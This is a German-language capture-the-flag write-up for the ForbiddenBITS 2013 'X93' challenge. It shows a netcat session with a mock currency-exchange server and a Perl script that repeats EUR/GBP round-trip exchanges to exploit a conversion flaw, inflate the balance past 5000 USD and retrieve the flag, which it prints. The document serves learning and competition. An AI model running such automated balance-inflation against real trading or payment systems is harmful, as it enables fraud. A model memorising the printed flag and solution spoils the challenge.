Diese Challenge (X93) ist der vorherigen “X94-Machine” sehr ähnlich. Nicht nur die Aufgabenstellung ist identisch, auch der Server selbst bietet exakt die gleichen Funktionen.
rup0rt@lambda:~/FB2013$ nc 95.170.83.28 3003
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
_ _ 93 _________ ______ ______ _ _ _____ ______ ______
\ \ / / | | | | | \ | | | | | | | | | | | | | | \ \ | |
>|--|< | | | | | | | |__| | | | | |--| | | | | | | | | |----
/_/ \_\ |_| |_| |_| |_| |_| |_|____ |_| |_| _|_|_ |_| |_| |_|____
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Really Wanna Trade with us ? yes/no
yes
Enter Username :
1338-offbyone
Welcome 1338
Enter your Command :
[1] balance
[2] exchange
[3] transfert
[4] restricted area
4
This Area is restrcited for accounts with 5000usd+
Wieder geht es darum, unseren Kontostand auf über 5000 US-Dollar zu erhöhen um so auf den geschützen Bereich zugreifen zu können. Zunächst wiederholen wir testweise unser Vorgehen aus der voherigen Challenge.
[1] balance
[2] exchange
[3] transfert
[4] restricted area
2
Enter Destination currency
EUR
Enter Source currency
USD
Enter Amount
-5000
you dont have such amount
Diesmal scheinen die Benutzereingaben jedoch korrekt validiert zu werden und wir müssen einen anderen Weg finden, unser Konto aufzufüllen. Da das System beim Währungstausch einen Umrechnungsfaktor verwenden muss, liegt vielleicht eine Ungenauigkeiten beim Runden vor?
Your Balance : 100 USD , 100 EUR , 100 GBP Enter your Command : [1] balance [2] exchange [3] transfert [4] restricted area 2 Enter Destination currency GBP Enter Source currency EUR Enter Amount 50 Your Balance : 100 USD , 50 EUR , 143 GBP Enter your Command : [1] balance [2] exchange [3] transfert [4] restricted area 2 Enter Destination currency EUR Enter Source currency GBP Enter Amount 43 Your Balance : 100 USD , 116.15 EUR , 100 GBP
Hier haben wir einmal 50 Euro in 43 Britische Pfund und wieder zurück getauscht. Das zweimalige Umtauschen einer Währung sollte in der Theorie wieder den Ursprungszustand von jeweils 100 Einheiten der jeweiligen Währung erzeugen. Dies ist hier jedoch nicht der Fall! Wir haben deutlich mehr Euro als vor dem Umtausch.
Woran dieses Verhalten liegt, können wir ohne weiteres nicht feststellen, bei dieser Größe des Betrages scheint es jedoch kein Rundungsfehler zu sein. Dennoch können wir diesen Fehler bei der Umrechnung ausnutzen um unser Konto zu füllen. Dazu müssen wir nur oft genug Währungen umtauschen, bis uns ein Äquivalent von 5000 US-Dollar zur Verfügung steht.
Das folgende Skript wird dieses Vorgehen automatisch durchführen:
#!/usr/bin/perl -w # ForbiddenBITS CTF 2013 # X93 Challenge use IO::Socket::INET; $| = 1; $socket = new IO::Socket::INET ( PeerHost => '95.170.83.28', PeerPort => '3003', Proto => 'tcp', ) or die "ERROR in Socket Creation : $!\n"; print "CONNECT!\n"; $i = 0; while ($data = <$socket>) { print "$data"; ## Really Wanna Trade with us ? yes/no if ($data =~ m/Really Wanna/) { print "ANSWERING YES...\n"; print $socket "yes\n"; } ## Enter Username : if ($data =~ m/Username/) { print "SENDING USERNAME...\n"; print $socket "1338-offbyone\n"; } ## end of main menu if ($data =~ m/restricted area/) { print "TRANSFERING MONEY...\n"; ## EXCHANGE 100 EUR --> 100 GBP --> 100 EUR, 350 times if ($i++ < 350) { if (($i % 2) == 0) { print $socket "2\n"; print $socket "GBP\n"; print $socket "EUR\n"; print $socket "100\n"; } else { print $socket "2\n"; print $socket "EUR\n"; print $socket "GBP\n"; print $socket "100\n"; } ## FINALLY EXCHANGE 5000 USD } else { print $socket "2\n"; print $socket "USD\n"; print $socket "EUR\n"; print $socket "5000\n"; ## AND GET THE FLAG :) print $socket "4\n"; } } } $socket->close();
Die Ausführung des Skriptes liefert diese Ausgabe:
[...] [1] balance [2] exchange [3] transfert [4] restricted area TRANSFERING MONEY... Enter Destination currency Enter Source currency Enter Amount Your Balance : 5400.13 USD , 23.5700000000024 EUR , 99.9 GBP Enter your Command : [1] balance [2] exchange [3] transfert [4] restricted area TRANSFERING MONEY... FLAG{7d21ca3a7a2f068347efac7c2c9794bdb3bd0ab0}
Durch Ungenauigkeiten oder Fehler im System konnte unser Konto auf über 5000 US-Dollar aufgefüllt und so der Schlüssel zur Challenge erlangt werden.
Die Lösung lautet “7d21ca3a7a2f068347efac7c2c9794bdb3bd0ab0“.